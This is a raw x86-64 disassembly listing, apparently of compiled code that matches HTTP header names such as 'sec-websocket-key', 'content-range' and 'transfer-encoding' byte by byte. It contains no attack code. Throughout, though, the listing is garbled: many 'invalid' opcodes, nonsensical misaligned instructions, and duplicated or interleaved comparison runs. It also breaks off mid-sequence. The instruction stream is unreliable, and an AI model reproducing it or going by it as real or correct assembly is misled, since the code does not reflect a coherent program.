cmp byte [rcx + 0xa], 0x74
jne case.0x14002f13e.103
cmp byte [rcx + 0xb], 0x79
or edi, dword [rcx + 0xf]
test dword [rsi + 0xc], edx
add byte [rax], al
jne case.0x14002f13e.103
cmp byte [rcx + 0xc], 0x70
jne case.0x14002f13e.103
cmp byte [rcx + 0xd], 0x65
jne case.0x14002f13e.103
or al, 0
invalid
or al, 0
add byte [rax + 0xf2d0e79], al
test dword [rax], edi
or al, 0
add byte [rax + 0xf6f0f79], al
test dword [rsi], ebp
cmp byte [rcx + 0xe], 0x2d
jne case.0x14002f13e.103
cmp byte [rcx + 0xf], 0x6f
jne case.0x14002f13e.103
or al, 0
invalid
or al, 0
add byte [rax + 0xf701079], al
test dword [rsp + rcx], esp
add byte [rax], al
cmp byte [rcx + 0x10], 0x70
jne case.0x14002f13e.103
cmp byte [rcx + 0x11], 0x74
jne case.0x14002f13e.103
cmp byte [rcx + 0x12], 0x69
jne case.0x14002f13e.103
test dword [rax], edx
or al, 0
invalid
test dword [rax], edx
or al, 0
add byte [rax + 0xf6f1379], al
cmp byte [rcx + 0x13], 0x6f
jne case.0x14002f13e.103
cmp byte [rcx + 0x14], 0x6e
jne case.0x14002f13e.103
add byte [rax], al
mov al, 0x4d
mov dl, 0x73
mov r8d, 0x15
cmp byte [rcx + 0x13], 0x6f
jne case.0x14002f13e.103
cmp byte [rcx + 0x14], 0x6e
jne case.0x14002f13e.103
add byte [rax], al
add byte [rax], al
mov al, 0x4d
mov dl, 0x73
mov r8d, 0x15
jmp 0x14002e833
add ah, byte [rsi + 0xf]
test ecx, ebx
or eax, dword [rax]
add byte [rax + 0xf650379], al
test edi, ecx
or eax, dword [rax]
add byte [rax + 0xf720479], al
test ebp, eax
or eax, dword [rax]
add byte [rax + 0xf720579], al
test dword [rbx - 0x7ffffff5], edi
jns 0x1400306b7
jne case.0x14002f13e.103
test dword [rcx - 0x7ffffff5], esi
jns 0x1400306c2
add byte [rax + 0xf720779], al
cmp byte [rcx + 7], 0x72
jne case.0x14002f13e.103
jb 0x1400306cc
test dword [rdi - 0x7ffffff5], esp
jns 0x1400306cd
cmp byte [rcx + 8], 0x2d
jne case.0x14002f13e.103
sub eax, 0xb9d850f
add byte [rax], al
cmp byte [rcx + 9], 0x70
jne case.0x14002f13e.103
jns 0x1400306d8
jo 0x1400306e0
cmp byte [rcx + 0xa], 0x6f
jne case.0x14002f13e.103
or ch, byte [rdi + 0xf]
test dword [rcx - 0x7ffffff5], ecx
jns 0x1400306ee
add byte [rax], al
cmp byte [rcx + 0xc], 0x69
jne case.0x14002f13e.103
cmp byte [rcx + 0xd], 0x63
jne case.0x14002f13e.103
invalid
add byte [rax + 0x4179b238], dh
mov eax, 0xe
mov al, 0x38
mov dl, 0x79
mov r8d, 0xe
jmp 0x14002e833
or eax, dword [rax]
add byte [rax + 0xf620279], al
test dword [rax + 0xb], ecx
add byte [rax], al
cmp byte [rcx + 3], 0x6c
jne case.0x14002f13e.103
cmp byte [rcx + 4], 0x69
jne case.0x14002f13e.103
jns 0x140030732
imul ecx, dword [rdi], 0xb3485
or eax, dword [rax]
add byte [rax + 0xf630579], al
test dword [rdx], ebp
or eax, dword [rax]
add byte [rax + 0xf2d0679], al
test dword [rax], esp
or eax, dword [rax]
add byte [rax + 0xf6b0779], al
test dword [rsi], edx
or eax, dword [rax]
invalid
cmp byte [rcx + 5], 0x63
jne case.0x14002f13e.103
cmp byte [rcx + 6], 0x2d
jne case.0x14002f13e.103
cmp byte [rcx + 7], 0x6b
jne case.0x14002f13e.103
add byte [rax], al
add byte [rax], al
add byte [rax + 0xf650879], al
cmp byte [rcx + 8], 0x65
jne case.0x14002f13e.103
test dword [rbx + rcx], ecx
add byte [rax], al
test dword [rbx + rcx], ecx
add byte [rax], al
cmp byte [rcx + 9], 0x79
jne case.0x14002f13e.103
add byte [rax], al
add byte [rax], al
add byte [rax + 0xf2d0a79], al
test eax, edi
or al, byte [rax]
add byte [rax + 0xf700b79], al
jo 0x140030785
cmp byte [rcx + 0xa], 0x2d
jne case.0x14002f13e.103
cmp byte [rcx + 0xb], 0x70
jne case.0x14002f13e.103
jo 0x140030785
test esi, ebp
or al, byte [rax]
add byte [rax + 0xf690c79], al
test esp, esp
invalid
in al, 0xa
add byte [rax], al
or al, byte [rax]
add byte [rax + 0xf6e0d79], al
test edx, ebx
or al, byte [rax]
add byte [rax + 0x84e934], dh
add byte [rax], al
cmp byte [rcx + 1], 0x2d
jne case.0x14002f13e.103
cmp byte [rcx + 0xd], 0x6e
jne case.0x14002f13e.103
mov al, 0x34
jmp 0x14003081a
cmp byte [rcx + 2], 0x66
jne case.0x14002f13e.103
cmp byte [rcx + 3], 0x72
jne case.0x14002f13e.103
cmp byte [rcx + 4], 0x61
jns 0x1400307bb
add al, 0x61
invalid
jne case.0x14002f13e.103
or al, byte [rax]
add byte [rax + 0xf6d0579], al
test dword [rcx - 0x7ffffff6], esp
jns 0x1400307d1
cmp byte [rcx + 5], 0x6d
jne case.0x14002f13e.103
cmp byte [rcx + 6], 0x65
jne case.0x14002f13e.103
jne case.0x14002f13e.103
add byte [rax + 0xf2d0779], al
test dword [rbp - 0x7ffffff6], ecx
jns 0x1400307e7
cmp byte [rcx + 7], 0x2d
jne case.0x14002f13e.103
cmp byte [rcx + 8], 0x6f
outsd dx, dword [rsi]
jne case.0x14002f13e.103
cmp byte [rcx + 9], 0x70
jne case.0x14002f13e.103
jns 0x1400307f2
jo 0x1400307fa
test dword [rcx + 0xa], edi
add byte [rax], al
cmp byte [rcx + 0xa], 0x74
jne case.0x14002f13e.103
or dh, byte [rdi + rcx - 0x7b]
outsd dx, dword [rsi]
or al, byte [rax]
add byte [rax + 0xf690b79], al
jns 0x140030808
imul ecx, dword [rdi], 0xa6585
invalid
cmp byte [rcx + 0xb], 0x69
jne case.0x14002f13e.103
jns 0x140030808
imul ecx, dword [rdi], 0xa6585
add byte [rax + 0xf6f0c79], al
test dword [rbx + 0xa], ebx
add byte [rax], al
cmp byte [rcx + 0xc], 0x6f
jne case.0x14002f13e.103
cmp byte [rcx + 0xd], 0x6e
jns 0x14003081e
outsb dx, byte [rsi]
jne case.0x14002f13e.103
or al, byte [rax]
add byte [rax], al
add byte [rax + 0x4173b24f], dh
mov eax, 0xe
add byte [rax], al
invalid
mov al, 0x4f
mov dl, 0x73
mov r8d, 0xe
add byte [rax], al
invalid
invalid
add byte [rax], al
add cl, ch
or al, 0xe0
invalid
jmp 0x14002e833
test dword [rdx + rcx], esp
and al, 0xa
or al, byte [rax]
add byte [rax + 0xf6f0479], al
jne case.0x14002f13e.103
cmp byte [rcx + 5], 0x6e
jne case.0x14002f13e.103
cmp byte [rcx + 6], 0x65
invalid
test dword [rsi], eax
or al, byte [rax]
add byte [rax], al
cmp byte [rcx + 4], 0x6f
jne case.0x14002f13e.103
cmp byte [rcx + 5], 0x6e
jne case.0x14002f13e.103
cmp byte [rcx + 6], 0x65
jne case.0x14002f13e.103
jns 0x140030862
jne case.0x14002f13e.103
add byte [rax + 0xf2d0779], al
test esp, edi
or dword [rax], eax
cmp byte [rcx + 7], 0x2d
jne case.0x14002f13e.103
invalid
invalid
add byte [rax + 0xf6d0879], al
test edx, esi
or dword [rax], eax
cmp byte [rcx + 8], 0x6d
jne case.0x14002f13e.103
or dword [rax], eax
invalid
or dword [rax], eax
add byte [rax + 0xf610979], al
test eax, ebp
or dword [rax], eax
cmp byte [rcx + 9], 0x61
jne case.0x14002f13e.103
add byte [rax + 0xf740a79], al
test esi, ebx
invalid
fimul word [rcx]
add byte [rax], al
cmp byte [rcx + 0xb], 0x63
jne case.0x14002f13e.103
or dword [rax], eax
add byte [rax + 0xf630b79], al
test esp, edx
or dword [rax], eax
add byte [rax + 0x4168b229], dh
mov eax, 0xc
add byte [rax], al
invalid
mov al, 0x29
mov dl, 0x68
mov r8d, 0xc
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
invalid
jmp 0x14002e833
dec dword [rdi]
mov dh, 0x51
add dword [rbx - 0x7bf09e06], eax
iretd
movzx edx, byte [rcx + 1]
cmp edx, 0x61
je 0x140030f80
cmp edx, 0x6f
jne case.0x14002f13e.103
cmp byte [rcx + 2], 0x6e
jne case.0x14002f13e.103
movsd dword [rdi], dword [rsi]
or dword [rax], eax
invalid
movsd dword [rdi], dword [rsi]
or dword [rax], eax
add byte [rax + 0xf740379], al
cmp byte [rcx + 3], 0x74
jne case.0x14002f13e.103
invalid
jns 0x1400308d5
cmp byte [rcx + 3], 0x74
jne case.0x14002f13e.103
cmp byte [rcx + 4], 0x65
jne case.0x14002f13e.103
xchg ecx, eax
or dword [rax], eax
invalid
jne case.0x14002f13e.103
xchg ecx, eax
or dword [rax], eax
add byte [rax + 0xf6e0579], al
test dword [rdi - 0x7ffffff7], eax
jns 0x1400308eb
cmp byte [rcx + 5], 0x6e
jne case.0x14002f13e.103
cmp byte [rcx + 6], 0x74
jne case.0x14002f13e.103
je 0x1400308f6
test dword [rbp + 9], edi
add byte [rax], al
add byte [rax + 0xf2d0779], al
test dword [rbx + 9], esi
add byte [rax], al
cmp byte [rcx + 7], 0x2d
jne case.0x14002f13e.103
cmp byte [rcx + 8], 0x72
jne case.0x14002f13e.103
or byte [rdx + 0xf], dh
test dword [rcx + 9], ebp
add byte [rax], al
cmp byte [rcx + 9], 0x61
jne case.0x14002f13e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 0xa], 0x6e
jne case.0x14002f13e.103
cmp byte [rcx + 0xb], 0x67
jns 0x140030922
jne case.0x14002f13e.103
jne case.0x14002f13e.103
mov al, 0x1a
mov dl, 0x65
invalid
mov r8d, 0xc
mov r8d, 0xc
or al, 0
add byte [rax], al
jmp 0x14002e833
inc dword [rax + 0xf650179]
add dword [rbp + 0xf], esp
jne case.0x14002f13e.103
test dword [rdx], esi
or dword [rax], eax
add byte [rax + 0xf630279], al
cmp byte [rcx + 2], 0x63
jne case.0x14002f13e.103
cmp byte [rcx + 3], 0x2d
invalid
test dword [rsi], ebx
cmp byte [rcx + 2], 0x63
jne case.0x14002f13e.103
cmp byte [rcx + 3], 0x2d
jne case.0x14002f13e.103
or dword [rax], eax
invalid
or dword [rax], eax
add byte [rax + 0xf770479], al
cmp byte [rcx + 4], 0x77
jne case.0x14002f13e.103
cmp byte [rcx + 4], 0x77
jne case.0x14002f13e.103
cmp byte [rcx + 5], 0x65
jne case.0x14002f13e.103
or cl, byte [rcx]
add byte [rax], al
or cl, byte [rcx]
add byte [rax], al
cmp byte [rcx + 6], 0x62
jne case.0x14002f13e.103
or dword [rax], eax
add byte [rax + 0xf730779], al
test esi, esi
or byte [rax], al
add byte [rax + 0xf6f0879], al
test esp, ebp
in al, dx
add byte [rax], al
cmp byte [rcx + 7], 0x73
jne case.0x14002f13e.103
cmp byte [rcx + 8], 0x6f
jne case.0x14002f13e.103
in al, dx
or byte [rax], al
invalid
in al, dx
or byte [rax], al
add byte [rax], al
add byte [rax + 0xf630979], al
cmp byte [rcx + 9], 0x63
jne case.0x14002f13e.103
test edx, esp
or byte [rax], al
add byte [rax + 0xf6b0a79], al
test eax, ebx
or byte [rax], al
add byte [rax + 0xf650b79], al
jne case.0x14002f13e.103
cmp byte [rcx + 0xc], 0x74
invalid
cmp byte [rcx + 0xa], 0x6b
jne case.0x14002f13e.103
cmp byte [rcx + 0xb], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 0xc], 0x74
or al, 0x74
jne case.0x14002f13e.103
test esp, eax
or byte [rax], al
add byte [rax], al
cmp byte [rcx + 0xd], 0x2d
jne case.0x14002f13e.103
or byte [rax], al
invalid
invalid
jns 0x1400309c0
invalid
add byte [rax], al
cmp byte [rcx + 0xd], 0x2d
jne case.0x14002f13e.103
or byte [rax], al
invalid
or byte [rax], al
add byte [rax + 0xf6b0e79], al
invalid
imul ecx, dword [rdi], 0xffffff85
mov al, 8
add byte [rax], al
invalid
jns 0x1400309cb
invalid
cmp byte [rcx + 0xe], 0x6b
jne case.0x14002f13e.103
mov al, 8
add byte [rax], al
invalid
imul ecx, dword [rdi], 0xffffff85
mov al, 8
add byte [rax], al
cmp byte [rcx + 0xf], 0x65
jne case.0x14002f13e.103
cmpsb byte [rsi], byte [rdi]
or byte [rax], al
invalid
pcmpgtw mm1, qword [rdi]
test dword [rsi - 0x4ffffff8], esp
cmpsb byte [rsi], byte [rdi]
or byte [rax], al
add byte [rax + 0x4179b23d], dh
invalid
adc byte [rax], al
jne case.0x14002f13e.103
cmpsb byte [rsi], byte [rdi]
or byte [rax], al
add byte [rax + 0x4179b23d], dh
mov eax, 0x10
mov al, 0x3d
mov dl, 0x79
mov r8d, 0x10
add byte [rax], al
jmp 0x14002e833
fdivp st(7)
inc dword [rax + 0xf610179]
cmp byte [rcx + 1], 0x61
jne case.0x14002f13e.103
lea ecx, [rax]
add byte [rax], al
invalid
lea ecx, [rax]
add byte [rax], al
cmp byte [rcx + 2], 0x73
jne case.0x14002f13e.103
jns 0x1400309e1
jae 0x1400309f0
test dword [rbx - 0x7ffffff8], eax
jns case.0x14002c02b.221
cmp byte [rcx + 3], 0x74
jne case.0x14002f13e.103
test dword [rcx + 8], edi
add byte [rax], al
je 0x1400309fa
test dword [rcx + 8], edi
jns 0x1400309f6
add byte [rax], al
cmp byte [rcx + 4], 0x2d
jne case.0x14002f13e.103
invalid
outsd dx, dword [rsi]
or byte [rax], al
add byte [rax + 0xf6d0579], al
test dword [rbp + 8], esp
or byte gs:[rax], al
invalid
cmp byte [rcx + 5], 0x6d
jne case.0x14002f13e.103
or byte gs:[rax], al
invalid
or byte gs:[rax], al
add byte [rax + 0xf6f0679], al
invalid
cmp byte [rcx + 6], 0x6f
jne case.0x14002f13e.103
test dword [rbx + 8], ebx
add byte [rax], al
invalid
add byte [rax + 0xf640779], al
test dword [rcx + 8], edx
push rcx
or byte [rax], al
invalid
cmp byte [rcx + 7], 0x64
jne case.0x14002f13e.103
push rcx
or byte [rax], al
invalid
invalid
push rcx
or byte [rax], al
add byte [rax + 0xf690879], al
cmp byte [rcx + 8], 0x69
jne case.0x14002f13e.103
test dword [rdi + 8], eax
add byte [rax], al
test dword [rdi + 8], eax
or byte [rax], al
add byte [rax + 0xf660979], al
test dword [0xc0030a35], edi
invalid
jns case.0x14002aa01.90
add byte [rax], al
cmp byte [rcx + 9], 0x66
jne case.0x14002f13e.103
cmp byte [rcx + 0xa], 0x69
imul ecx, dword [rdi], 0x83385
add byte [rax + 0xf650b79], al
jne case.0x14002f13e.103
mov al, 0x2c
mov dl, 0x64
mov r8d, 0xc
jne case.0x14002f13e.103
cmp byte [rcx + 0xb], 0x65
jne case.0x14002f13e.103
jne case.0x14002f13e.103
mov al, 0x2c
mov dl, 0x64
mov r8d, 0xc
jmp 0x14002e833
test dword [rax], edx
or byte [rax], al
add byte [rax + 0xf2d0279], al
sub eax, 0x806850f
add byte [rax], al
cmp byte [rcx + 3], 0x6d
invalid
test esp, edi
adc byte [rax], cl
add byte [rax], al
cmp byte [rcx + 2], 0x2d
sub eax, 0x806850f
add byte [rax], al
sub eax, 0x806850f
add byte [rax], al
cmp byte [rcx + 3], 0x6d
jns 0x140030a69
insd dword [rdi], dx
jne case.0x14002f13e.103
cld
invalid
cmp byte [rcx + 4], 0x6f
outsd dx, dword [rsi]
jne case.0x14002f13e.103
invalid
cmp byte [rcx + 5], 0x64
jne case.0x14002f13e.103
add byte [rax], al
jns case.0x14002c05d.105
jne case.0x14002f13e.103
add byte [rax], al
cmp byte [rcx + 6], 0x69
jne case.0x14002f13e.103
cmp byte [rcx + 7], 0x66
jne case.0x14002f13e.103
test esp, edx
invalid
add byte [rax], al
invalid
test esp, edx
invalid
add byte [rax + 0xf690879], al
test edx, ecx
invalid
invalid
cmp byte [rcx + 8], 0x69
jne case.0x14002f13e.103
retf 7
invalid
retf 7
cmp byte [rcx + 9], 0x65
jne case.0x14002f13e.103
test eax, eax
invalid
add byte [rax], al
or dword [rbp + 0xf], esp
test eax, eax
invalid
cmp byte [rcx + 0xa], 0x64
jne case.0x14002f13e.103
or ah, byte [rdi + rcx - 0x7b]
mov dh, 7
add byte [rax], al
cmp byte [rcx + 0xb], 0x2d
jne case.0x14002f13e.103
invalid
lodsb al, byte [rsi]
invalid
add byte [rax], al
test dword [rdi + rax + 0x79800000], ebp
or al, 0x73
cmp byte [rcx + 0xc], 0x73
jne case.0x14002f13e.103
movabs byte [0xf690d7980000007], al
invalid
cmp byte [rcx + 0xd], 0x69
jne case.0x14002f13e.103
invalid
cwde
invalid
add byte [rax], al
jns 0x140030ad7
imul ecx, dword [rdi], 0x79885
add byte [rax + 0xf6e0e79], al
jns 0x140030ae2
outsb dx, byte [rsi]
jne case.0x14002f13e.103
invalid
test dword [rax - 0x7ffffff9], ebx
cwde
invalid
cmp byte [rcx + 0xe], 0x6e
jns 0x140030ae2
outsb dx, byte [rsi]
jne case.0x14002f13e.103
mov es, word [rdi]
add byte [rax], al
cmp byte [rcx + 0xf], 0x63
jne case.0x14002f13e.103
test byte [rdi], al
add byte [rax], al
jns 0x140030aed
invalid
invalid
mov al, 0x28
mov dl, 0x65
invalid
mov r8d, 0x10
mov r8d, 0x10
add byte [rax], al
jmp 0x14002e833
invalid
jne case.0x14002f13e.103
test dword [rbx + 7], ebp
add byte [rax], al
cmp byte [rcx + 2], 0x61
jne case.0x14002f13e.103
test dword [rcx + 7], esp
add byte [rax], al
test dword [rcx + 7], esp
add byte [rax], al
invalid
invalid
cmp byte [rcx + 3], 0x6e
jns 0x140030b0e
outsb dx, byte [rsi]
jne case.0x14002f13e.103
push rdi
invalid
add byte [rax + 0xf730479], al
test dword [rbp + 7], ecx
add byte [rax], al
cmp byte [rcx + 4], 0x73
jne case.0x14002f13e.103
cmp byte [rcx + 5], 0x66
jne case.0x14002f13e.103
jne case.0x14002f13e.103
cmp byte [rcx + 6], 0x65
jne case.0x14002f13e.103
cmp dword [rdi], eax
add byte [rax], al
invalid
jne case.0x14002f13e.103
cmp dword [rdi], eax
add byte [rax], al
cmp byte [rcx + 7], 0x72
jne case.0x14002f13e.103
add byte [rax + 0xf2d0879], al
test dword [0xc0030b4c], esp
jns 0x140030b50
cmp byte [rcx + 8], 0x2d
jne case.0x14002f13e.103
cmp byte [rcx + 9], 0x65
jne case.0x14002f13e.103
jne case.0x14002f13e.103
test dword [rbx], ebx
invalid
add byte [rax + 0xf6e0a79], al
cmp byte [rcx + 0xa], 0x6e
jne case.0x14002f13e.103
test dword [rcx], edx
invalid
add byte [rax], al
or ch, byte [rsi + 0xf]
test dword [rcx], edx
invalid
adc dword [rdi], eax
add byte [rax], al
cmp byte [rcx + 0xb], 0x63
jne case.0x14002f13e.103
test dword [rdi], eax
invalid
add byte [rax], al
test dword [rdi], eax
invalid
cmp byte [rcx + 0xc], 0x6f
jns case.0x14002aa4e.206
outsd dx, dword [rsi]
jne case.0x14002f13e.103
invalid
cmp byte [rcx + 0xd], 0x64
jne case.0x14002f13e.103
test ebx, esi
invalid
add byte [rax], al
invalid
test ebx, esi
invalid
cmp byte [rcx + 0xe], 0x69
jne case.0x14002f13e.103
invalid
invalid
add byte [rax], al
jns 0x140030b87
imul ecx, dword [rdi], 0x6e985
add byte [rax + 0xf6e0f79], al
test edi, ebx
jmp 0xc0030b87
cmp byte [rcx + 0xf], 0x6e
jne case.0x14002f13e.103
invalid
mov al, 0x45
mov dl, 0x67
mov r8d, 0x10
invalid
mov r8d, 0x10
add cl, ch
invalid
jmp 0x14002e833
fdiv st(7), st(0)
inc dword [rax + 0xf720179]
cmp byte [rcx + 1], 0x72
invalid
test esi, eax
invalid
cmp byte [rcx + 1], 0x72
jne case.0x14002f13e.103
cmp byte [rcx + 2], 0x6f
jne case.0x14002f13e.103
invalid
invalid
invalid
add byte [rax], al
test dword [rsi + rax + 0x25b00000], edi
mov al, 0x25
mov dl, 0x6d
mov r8d, 3
add eax, dword [rax]
add byte [rax], al
jmp 0x14002e833
ja 0x140030b96
invalid
jne case.0x14002f13e.103
test dword [rbx - 0x7ffffffa], esp
add byte [rax + 0xf720279], al
cmp byte [rcx + 2], 0x72
jne case.0x14002f13e.103
invalid
add byte [rax], al
jns 0x140030bcb
jb 0x140030bda
test dword [rcx - 0x4ffffffa], ebx
mov r10b, 0x79
invalid
mov al, 0x49
mov dl, 0x79
mov r8d, 3
jmp 0x14002e833
invalid
cmp byte [rcx + 1], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 2], 0x66
jne case.0x14002f13e.103
jns 0x140030bee
jne case.0x14002f13e.103
test dword [rsi + 6], esi
add byte [rax], al
movzx edx, byte [rcx + 3]
cmp edx, 0x72
je 0x1400310e3
add al, 0
invalid
add al, 0
add byte [rbx - 0x7af09a06], al
cli
invalid
invalid
invalid
invalid
cmp edx, 0x65
jne case.0x14002f13e.103
cli
jne case.0x14002f13e.103
cmp byte [rcx + 4], 0x72
jne case.0x14002f13e.103
cmp byte [rcx + 5], 0x65
jne case.0x14002f13e.103
jne case.0x14002f13e.103
mov al, 0x37
jmp 0x140030d20
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0xf610179], al
cmp byte [rcx + 1], 0x61
invalid
invalid
invalid
test dword [rbx], edi
invalid
cmp byte [rcx + 2], 0x72
jne case.0x14002f13e.103
cmp byte [rcx + 3], 0x6e
jne case.0x14002f13e.103
invalid
add byte [rax + 0xf690479], al
test dword [0xc0030c53], ebx
cmp byte [rcx + 4], 0x69
jne case.0x14002f13e.103
cmp byte [rcx + 5], 0x6e
jns 0x140030c54
outsb dx, byte [rsi]
jne case.0x14002f13e.103
invalid
add byte [rax], al
mov al, 0x4b
mov dl, 0x67
mov r10b, 0x67
mov r8d, 6
jmp 0x14002e833
invalid
invalid
invalid
invalid
invalid
cmp byte [rcx + 1], 0x74
jne case.0x14002f13e.103
cli
invalid
add byte [rax], al
cli
add eax, 0x79800000
add ah, byte [rcx + 0xf]
test eax, esi
add eax, 0x21b00000
cmp byte [rcx + 2], 0x61
jne case.0x14002f13e.103
mov al, 0x21
mov dl, 0x67
mov r8d, 3
jmp 0x14002e833
cmp byte [rcx + 1], 0x78
jne case.0x14002f13e.103
test edi, edx
invalid
add byte [rax], al
test edi, edx
add eax, 0x79800000
add dh, byte [rax + 0xf]
test ebp, ecx
add eax, 0x79800000
add ebp, dword [rcx + 0xf]
test ebx, eax
add eax, 0x79800000
invalid
cmp byte [rcx + 4], 0x72
cmp byte [rcx + 2], 0x70
jne case.0x14002f13e.103
cmp byte [rcx + 3], 0x69
jne case.0x14002f13e.103
invalid
add byte [rax + 0xf720479], al
test dword [rcx - 0x7ffffffb], edi
jns 0x140030cb8
cmp byte [rcx + 4], 0x72
jne case.0x14002f13e.103
cmp byte [rcx + 5], 0x65
jne case.0x14002f13e.103
jne case.0x14002f13e.103
add byte [rax], al
mov al, 0x23
mov dl, 0x73
mov r8d, 6
add cl, ch
push 0xffffffffffffffdb
invalid
invalid
add cl, ch
push 0xffffffffffffffdb
invalid
add byte [rax], al
mov al, 0x44
mov dl, 0x72
mov r8d, 6
jmp 0x14002e833
add byte [rax], al
cmp byte [rcx + 3], 0x72
jne case.0x14002f13e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 4], 0x61
jne case.0x14002f13e.103
cmp byte [rcx + 5], 0x64
jne case.0x14002f13e.103
mov al, 4
add byte [rax], al
mov al, 4
add byte [rax], al
mov al, 0x47
mov dl, 0x65
mov r8d, 6
jmp 0x14002e833
add al, 0x65
jne case.0x14002f13e.103
mov al, 0x40
mov dl, 0x72
mov r8d, 5
add cl, ch
xor al, 0xda
invalid
invalid
add cl, ch
xor al, 0xda
invalid
add ebp, dword [rbx + 0xf]
test dword [rsp + rax], ecx
add byte [rax + 0xf690479], al
test dword [rdx + 4], eax
add byte [rax], al
mov al, 0x1e
mov dl, 0x65
mov r8d, 5
jmp 0x14002e833
test dword [rdi], ebx
add al, 0
add byte [rax + 0xf670379], al
test dword [0xc0030e59], edx
jns 0x140030e5b
imul ecx, dword [rdi], 0x40b85
add al, 0
add byte [rax + 0x416eb230], dh
mov eax, 5
jmp 0x14002e833
jne case.0x14002f13e.103
cmp byte [rcx + 4], 0x6d
jne case.0x14002f13e.103
mov al, 0x31
mov dl, 0x61
mov r8d, 5
jmp 0x14002e833
fcos
invalid
fcos
inc dword [rax + 0xf630279]
test dword [rbx - 0x7ffffffd], edi
jns 0x140030eb4
cmp byte [rcx + 2], 0x63
jne case.0x14002f13e.103
push 0x3b1850f
mov cl, 3
add byte [rax], al
cmp byte [rcx + 4], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 5], 0x2d
jne case.0x14002f13e.103
cmp byte [rcx + 6], 0x73
jne case.0x14002f13e.103
jns 0x140030ed5
jae 0x140030ee0
test dword [rbx - 0x7ffffffd], edx
jns 0x140030ee0
add byte [rax + 0xf740779], al
cmp byte [rcx + 7], 0x74
jne case.0x14002f13e.103
je 0x140030eea
test dword [rcx - 0x7ffffffd], ecx
jns 0x140030eeb
cmp byte [rcx + 8], 0x61
jne case.0x14002f13e.103
invalid
invalid
add byte [rax + 0xf740979], al
cmp byte [rcx + 9], 0x74
jne case.0x14002f13e.103
jns 0x140030ef6
je 0x140030efe
test dword [rbp + 3], esi
add byte [rax], al
cmp byte [rcx + 0xa], 0x75
jne case.0x14002f13e.103
or dh, byte [rbp + 0xf]
test dword [rbx + 3], ebp
add byte [rax], al
mov al, 0x12
mov dl, 0x73
mov r8d, 0xb
add byte [rax], al
add cl, ch
fcos
invalid
add byte [rax], al
add cl, ch
fcos
inc dword [rax + 0xf630279]
test dword [rdx + 3], edx
add byte [rax], al
cmp byte [rcx + 3], 0x65
add esp, dword [rbp + 0xf]
test dword [rax + 3], ecx
add byte [rax], al
add esp, dword [rbp + 0xf]
test dword [rax + 3], ecx
add byte [rax], al
cmp byte [rcx + 4], 0x70
jne case.0x14002f13e.103
cmp byte [rcx + 5], 0x74
jne case.0x14002f13e.103
cmp byte [rcx + 6], 0x2d
jne case.0x14002f13e.103
cmp byte [rcx + 7], 0x72
jne case.0x14002f13e.103
cmp byte [rcx + 8], 0x61
jne case.0x14002f13e.103
cmp byte [rcx + 9], 0x6e
jne case.0x14002f13e.103
or al, 3
add byte [rax], al
or al, 3
add byte [rax], al
cmp byte [rcx + 0xa], 0x67
jne case.0x14002f13e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 0xb], 0x65
jne case.0x14002f13e.103
clc
add al, byte [rax]
invalid
clc
add al, byte [rax]
add byte [rax + 0x4173b204], dh
mov eax, 0xc
mov al, 4
mov dl, 0x73
mov r8d, 0xc
jmp 0x14002e833
cmp byte [rcx + 2], 0x63
jne case.0x14002f13e.103
invalid
add byte [rax + 0xf680379], al
test ebp, edx
add al, byte [rax]
add byte [rax + 0xf650479], al
jns 0x140030f9b
invalid
invalid
test ebx, ecx
cmp byte [rcx + 3], 0x68
jne case.0x14002f13e.103
cmp byte [rcx + 4], 0x65
jne case.0x14002f13e.103
jns 0x140030f9b
jne case.0x14002f13e.103
add al, byte [rax]
add byte [rax + 0xf2d0579], al
sub eax, 0x2c1850f
add byte [rax], al
cmp byte [rcx + 6], 0x63
jne case.0x14002f13e.103
invalid
jns 0x140030fbc
cmp byte [rcx + 5], 0x2d
jne case.0x14002f13e.103
sub eax, 0x2c1850f
add byte [rax], al
cmp byte [rcx + 6], 0x63
jne case.0x14002f13e.103
cmp byte [rcx + 7], 0x6f
outsd dx, dword [rsi]
jne case.0x14002f13e.103
add al, byte [rax]
add byte [rax + 0xf6e0879], al
jns 0x140030fc7
outsb dx, byte [rsi]
jne case.0x14002f13e.103
invalid
cmp byte [rcx + 8], 0x6e
jns 0x140030fc7
outsb dx, byte [rsi]
jne case.0x14002f13e.103
cmp byte [rcx + 9], 0x74
jne case.0x14002f13e.103
add al, byte [rax]
invalid
jns 0x140030fd2
je 0x140030fda
test dword [rcx - 0x7ffffffe], ebx
jns 0x140030fdd
add al, byte [rax]
add byte [rax + 0xf720a79], al
cmp byte [rcx + 0xa], 0x72
jne case.0x14002f13e.103
or dh, byte [rdx + 0xf]
jb 0x140030fe4
test dword [rdi - 0x7ffffffe], ecx
jns 0x140030fe8
cmp byte [rcx + 0xb], 0x6f
outsd dx, dword [rsi]
jne case.0x14002f13e.103
mov al, 0x11
mov dl, 0x6c
mov r8d, 0xc
mov eax, 0xc
jmp 0x14002e833
invalid
cmp byte [rcx + 3], 0x6e
jne case.0x14002f13e.103
cmp byte [rcx + 4], 0x73
jne case.0x14002f13e.103
cmp byte [rcx + 5], 0x2d
jne case.0x14002f13e.103
cmp byte [rcx + 6], 0x70
jne case.0x14002f13e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 7], 0x72
jne case.0x14002f13e.103
invalid
cmp byte [rcx + 8], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 9], 0x66
jne case.0x14002f13e.103
cmp byte [rcx + 0xa], 0x65
jne case.0x14002f13e.103
cmp byte [rcx + 0xb], 0x74
jne case.0x14002f13e.103
sbb al, 2
add byte [rax], al
or esi, dword [rdi + rcx - 0x7b]
sbb al, 2
add byte [rax], al
cmp byte [rcx + 0xc], 0x63
jne case.0x14002f13e.103
cmp byte [rcx + 0xd], 0x68
jne case.0x14002f13e.103
or eax, 0x8850f68
add al, byte [rax]
add byte [rax + 0xf2d0e79], al
cmp byte [rcx + 0xe], 0x2d
jne case.0x14002f13e.103
cmp byte [rcx + 0xf], 0x63
jne case.0x14002f13e.103
cmp byte [rcx + 0x10], 0x6f
jne case.0x14002f13e.103
add byte [rax], al
cmp byte [rcx + 0x11], 0x6e
invalid
test eax, esp
loopne 0x140031088
invalid
cmp byte [rcx + 0xe], 0x2d
